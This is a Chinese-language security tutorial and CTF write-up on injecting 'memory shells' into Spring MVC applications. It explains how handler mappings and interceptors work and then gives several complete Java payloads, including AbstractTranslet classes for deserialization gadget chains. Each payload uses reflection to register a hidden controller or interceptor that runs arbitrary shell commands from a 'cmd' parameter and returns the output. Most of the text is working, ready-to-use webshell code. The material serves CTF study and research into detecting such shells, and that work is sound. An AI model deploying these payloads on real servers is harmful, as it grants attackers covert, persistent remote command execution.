Spring Controller/Interceptor 内存马

Controller内存马

DispatcherServlet 分发请求到具体的Controller会先通过DispatcherServlet#getHandler找到处理该请求的mappedHandler(关于“什么”应该处理请求),然后根据mappedHandler得到对应的HandlerAdapter(关于“如何”处理请求)

在 Spring MVC 中,HandlerMapping 是一个接口,负责根据 HTTP 请求查找对应的处理器(handler)以及任何相关的拦截器(interceptors),最终封装成一个 HandlerExecutionChain。在getHandler中,首先遍历的就是RequestMappingHandlerMapping

RequestMappingHandlerMapping最终会调用AbstractHandlerMethodMapping#lookupHandlerMethod来查找给定请求路径所对应的处理器方法。这里mappingRegistry维护了所有 URL 路径与处理器方法之间的映射关系,后面写入Controller用的就是它。

mappingRegistry注册Controller的方法,这里的参数说明:

  • handler:表示处理器,可以是一个处理器的实例也可以是一个字符串(bean名称)
  • method:java.lang.reflect.Method 的一个实例,表示要注册的处理器方法。
  • mapping:代表与处理器方法关联的映射条件,通常是RequestMappingInfo类型

注入Controller测试,参考su18_AddController.java

package com.example.evilController;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

@RestController
public class AddController {
    @GetMapping("/addController3")
    public void addController(HttpServletRequest request, HttpServletResponse response) throws Exception{
        final String controllerPath = "/skky";

        // 获取当前应用上下文
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
                ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()
        );

        // 通过 context 获取 RequestMappingHandlerMapping 对象
        RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

        // 获取父类的 MappingRegistry 属性
        Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
        f.setAccessible(true);
        Object mappingRegistry = f.get(mapping);

        // 反射调用 MappingRegistry 的 register 方法
        Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");

        Method[] ms = c.getDeclaredMethods();


        PatternsRequestCondition       url       = new PatternsRequestCondition(controllerPath);
        RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
        RequestMappingInfo             info      = new RequestMappingInfo(url, condition, null, null, null, null, null);

        Object evilController = new EvilController();

        for (Method method : ms) {
            if ("register".equals(method.getName())) {
                // 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index
                method.setAccessible(true);
                Method m = evilController.getClass().getDeclaredMethod("evilFunc", HttpServletRequest.class, HttpServletResponse.class);
                method.invoke(mappingRegistry, info, evilController, m);
                response.getWriter().println("spring controller add");
            }
        }
    }
    class EvilController{
        public void evilFunc(HttpServletRequest req, HttpServletResponse res) throws Exception{
            String cmd = req.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = res.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
    }
}

利用代码(CC链)

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpControllerExploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
    static {
        try {
            final String controllerPath = "/skkyblu3";

            // 获取当前应用上下文
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
                    ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()
            );

            // 通过 context 获取 RequestMappingHandlerMapping 对象
            RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

            // 获取父类的 MappingRegistry 属性
            Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
            f.setAccessible(true);
            Object mappingRegistry = f.get(mapping);

            // 反射调用 MappingRegistry 的 register 方法
            Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");

            Method[] ms = c.getDeclaredMethods();


            PatternsRequestCondition       url       = new PatternsRequestCondition(controllerPath);
            RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
            RequestMappingInfo             info      = new RequestMappingInfo(url, condition, null, null, null, null, null);

            Object evilController = new SpControllerExploit();

            for (Method method : ms) {
                if ("register".equals(method.getName())) {
                    // 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index
                    method.setAccessible(true);
                    Method m = evilController.getClass().getDeclaredMethod("evilFunc", HttpServletRequest.class, HttpServletResponse.class);
                    method.invoke(mappingRegistry, info, evilController, m);
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void evilFunc(HttpServletRequest req, HttpServletResponse res) throws Exception{
        String cmd = req.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = res.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

[2023PolarCTF冬季赛]CB链

jar反编译

/user存在反序列化

虽然不懂CB链,但我知道commons-collections。但这里可能是出不了网,反正打个Controller内存马呗。不过由于SpringMVC版本的问题,之前的payload执行不了。作为初学者,还是想看下究竟是怎么回事的。从pom.xml找到Spring的版本,本地准备好开始调试。

跟进lookupHandlerMethodaddMatchingMappings最后会调用到RequestMappingInfo#getMatchingCondition它是确定当前的 RequestMappingInfo 对象是否适用于指定的 HttpServletRequest 请求。它会按照请求方法、请求参数、请求头等条件进行筛选,而这个版本和前面有一个区别,就是增加了新的路径模式条件PathPatternsRequestCondition,这个在之前的代码中是没有设置的。

之前设置的是PatternsRequestCondition,而用它做匹配的时候会在调用UrlPathHelper#getResolvedLookupPath时由于request.getAttribute(PATH_ATTRIBUTE)返回一个null导致RequestMappingInfo无法正确匹配。

而通过对正常注册路径访问的调试,可以发现所有匹配都走的是PathPatternsRequestCondition匹配的。

所以一个简单的解决思路(对于我来说探究getResolvedLookupPath的问题似乎难度有点大了),就是在新建RequestMappingInfo的时候用PathPatternsRequestConditionPathPatternsRequestCondition默认的构造函数会在对象初始的时候传入固定的EMPTY_PATH_PATTERN来设置patterns属性。不出意外的话,new PathPatternParser().parse("")接受的字符串就是匹配的路径了。

这里直接实例一个PathPatternsRequestCondition对象,然后用反射修改它的patterns属性

PathPatternsRequestCondition prc = new PathPatternsRequestCondition();

Class<?> clazz1 = prc.getClass();
Field patternsField = clazz1.getDeclaredField("patterns");
patternsField.setAccessible(true);

// 创建新的 SortedSet<PathPattern> 并解析 controllerPath
PathPatternParser parser = new PathPatternParser();
PathPattern pathPattern = parser.parse(controllerPath);
SortedSet<PathPattern> epp = new TreeSet<>(Collections.singleton(pathPattern));

// 通过反射设置新的值
patternsField.set(prc, epp);

然后初始RequestMappingInfo,反射修改pathPatternsConditionpatternsCondition的值

// 设置info的pathPatternsCondition为prc,patternsCondition为null
RequestMappingInfo info = new RequestMappingInfo(null, null, condition, null, null, null, null, null);
Class<?> clazz2 = info.getClass();
Field pathPatternsConditionField = clazz2.getDeclaredField("pathPatternsCondition");
Field patternsConditionField = clazz2.getDeclaredField("patternsCondition");
pathPatternsConditionField.setAccessible(true);
patternsConditionField.setAccessible(true);

pathPatternsConditionField.set(info, prc);
patternsConditionField.set(info, null);

完整的利用代码如下

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Collections;
import java.util.Scanner;
import java.util.SortedSet;
import java.util.TreeSet;

public class SpControllerExploit2 extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
    static {
        try {
            final String controllerPath = "/skkyblu3";

            // 获取当前应用上下文
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
                    ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()
            );

            // 通过 context 获取 RequestMappingHandlerMapping 对象
            RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

            // 获取父类的 MappingRegistry 属性
            Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
            f.setAccessible(true);
            Object mappingRegistry = f.get(mapping);

            // 反射调用 MappingRegistry 的 register 方法
            Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");

            Method[] ms = c.getDeclaredMethods();


            PathPatternsRequestCondition   prc       = new PathPatternsRequestCondition();
            RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();

            Class<?> clazz1 = prc.getClass();
            Field patternsField = clazz1.getDeclaredField("patterns");
            patternsField.setAccessible(true); // 设置私有字段为可访问

            // 创建新的 SortedSet<PathPattern> 并解析 controllerPath
            PathPatternParser parser = new PathPatternParser();
            PathPattern pathPattern = parser.parse(controllerPath);
            SortedSet<PathPattern> epp = new TreeSet<>(Collections.singleton(pathPattern));

            // 通过反射设置新的值
            patternsField.set(prc, epp);

            // 设置info的pathPatternsCondition为prc,patternsCondition为null
            RequestMappingInfo info = new RequestMappingInfo(null, null, condition, null, null, null, null, null);
            Class<?> clazz2 = info.getClass();
            Field pathPatternsConditionField = clazz2.getDeclaredField("pathPatternsCondition");
            Field patternsConditionField = clazz2.getDeclaredField("patternsCondition");
            pathPatternsConditionField.setAccessible(true);
            patternsConditionField.setAccessible(true);

            pathPatternsConditionField.set(info, prc);
            patternsConditionField.set(info, null);

            Object evilController = new SpControllerExploit2();

            for (Method method : ms) {
                if ("register".equals(method.getName())) {
                    // 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index
                    method.setAccessible(true);
                    Method m = evilController.getClass().getDeclaredMethod("evilFunc", HttpServletRequest.class, HttpServletResponse.class);
                    method.invoke(mappingRegistry, info, evilController, m);
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void evilFunc(HttpServletRequest req, HttpServletResponse res) throws Exception{
        String cmd = req.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = res.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

/user处传入反序列化的字符串

Controller成功写入~

Interceptor内存马

Spring的Interceptor类似于Tomcat的Filter,下面是一个简单的Interceptor实现

package com.example.interceptor;

import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class MyInterceptor implements HandlerInterceptor {

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        // 在请求处理之前进行调用(Controller方法调用之前)
        System.out.println("preHandle: 请求前调用");
        // 返回 true 继续流程,返回 false 中断流程
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        // 请求处理之后进行调用,但在视图渲染之前(Controller方法调用之后)
        System.out.println("postHandle: 请求后调用");
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        // 整个请求结束之后被调用,也就是在 DispatcherServlet 渲染了对应的视图之后执行
        System.out.println("afterCompletion: 完成后调用");
    }
}

用一个配置类在路由/上注册这个拦截器

package com.example.config;

import com.example.interceptor.MyInterceptor;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class WebMvcConfig implements WebMvcConfigurer {

    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new MyInterceptor())
                .addPathPatterns("/"); // 指定拦截器的 URL 路径模式
    }
}

访问/看到效果

如果想要请求只在拦截器中处理,而不去请求背后的Controller,可以修改preHandle的返回false

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
    response.setContentType("text/plain;charset=UTF-8");
    response.getWriter().write("Interceptor Interceptor Interceptor");
    // 返回 false 表示请求结束,不再调用后续的Controller
    return false;
}

效果

Intercepor的调用方式如下:和前面一样,在DispatcherServlet#doDispatch中用getHandler获取请求的处理器的时候,会循环遍历 handlerMappings 属性,匹配获取本次请求的 HandlerMapping

HandlerMappinggetHandler 方法中会调用getHandlerExecutionChain方法获取HandlerExecutionChain

getHandlerExecutionChain中则会遍历 this.adaptedInterceptors 中的所有 HandlerInterceptor 类实例,加入到 HandlerExecutionChaininterceptorList

adaptedInterceptors 是一个列表,根据上面的代码,可以知道里面的元素是MappedInterceptor对象。在MappedInterceptor的中includePatterns是匹配的URL,interceptor则是拦截器对象。

所以添加一个拦截器的方法还是很简单的:

  • 反射获取HandlerMappingadaptedInterceptors属性
  • 创建一个MappedInterceptor对象
  • List#add方法往adaptedInterceptors添加MappedInterceptor

代码如下,注意如果拦截器是一个不存在的路由,修改的adaptedInterceptors对应的HandlerMapping是不同的:

package com.example.interceptor.evilInterceptor;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.handler.SimpleUrlHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

@RestController
public class AddInterceptor {
    @GetMapping("/addInterceptor")
    public void addInterceptor(HttpServletRequest request, HttpServletResponse response)  throws Exception{
        // 获取当前应用上下文
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
                ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()
        );

        // 通过 context 获取 RequestMappingHandlerMapping 对象
        // 如果要在一个已经存在的路由上添加拦截器,则需要RequestMappingHandlerMapping
//        RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
        
        // 如果是一个不存在的路由,用的是SimpleUrlHandlerMapping
        SimpleUrlHandlerMapping mapping = context.getBean(SimpleUrlHandlerMapping.class);

        // 获取AbstractHandlerMapping的adaptedInterceptors属性
        // AbstractHandlerMapping是RequestMappingHandlerMapping父类的父类的父类
//        Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
        
        // 是SimpleUrlHandlerMapping父类的父类
        Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
        f.setAccessible(true);
        List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);

        // 创建要注入的MappedInterceptor对象,这里是一个不存在的路由
        MappedInterceptor evilMappedInterceptor = new MappedInterceptor(new String[]{"/skkyblu3"}, new evilInterceptor());

        // 加入 adaptedInterceptors
        list.add(0, evilMappedInterceptor);
        response.getWriter().println("spring Interceptor add");
    }

    class evilInterceptor implements HandlerInterceptor{
        @Override
        public boolean preHandle(HttpServletRequest req, HttpServletResponse res, Object handler) throws Exception {
            String cmd = req.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = res.getWriter();
            out.println(output);
            out.flush();
            out.close();

            return false;
        }

        @Override
        public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
            HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
        }

        @Override
        public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
            HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
        }
    }
}

利用代码(对一个不存在的路由)

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.handler.SimpleUrlHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
public class SpInterceptorsExploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet implements HandlerInterceptor{
    static {
        try {
            // 获取当前应用上下文
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
                    ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()
            );

            // 通过 context 获取 SimpleUrlHandlerMapping 对象
            SimpleUrlHandlerMapping mapping = context.getBean(SimpleUrlHandlerMapping.class);

            // 获取SimpleUrlHandlerMapping的adaptedInterceptors属性
            Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
            f.setAccessible(true);
            List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);

            // 创建要注入的MappedInterceptor对象,这里是一个不存在的路由
            MappedInterceptor evilMappedInterceptor = new MappedInterceptor(new String[]{"/skkyblu3"}, new SpInterceptorsExploit());

            // 加入 adaptedInterceptors
            list.add(0, evilMappedInterceptor);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public boolean preHandle(HttpServletRequest req, HttpServletResponse res, Object handler) throws Exception {
        String cmd = req.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = res.getWriter();
        out.println(output);
        out.flush();
        out.close();

        return false;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

参考文章

https://xz.aliyun.com/t/12047
https://su18.org/post/memory-shell/#spring-controller-%E5%86%85%E5%AD%98%E9%A9%AC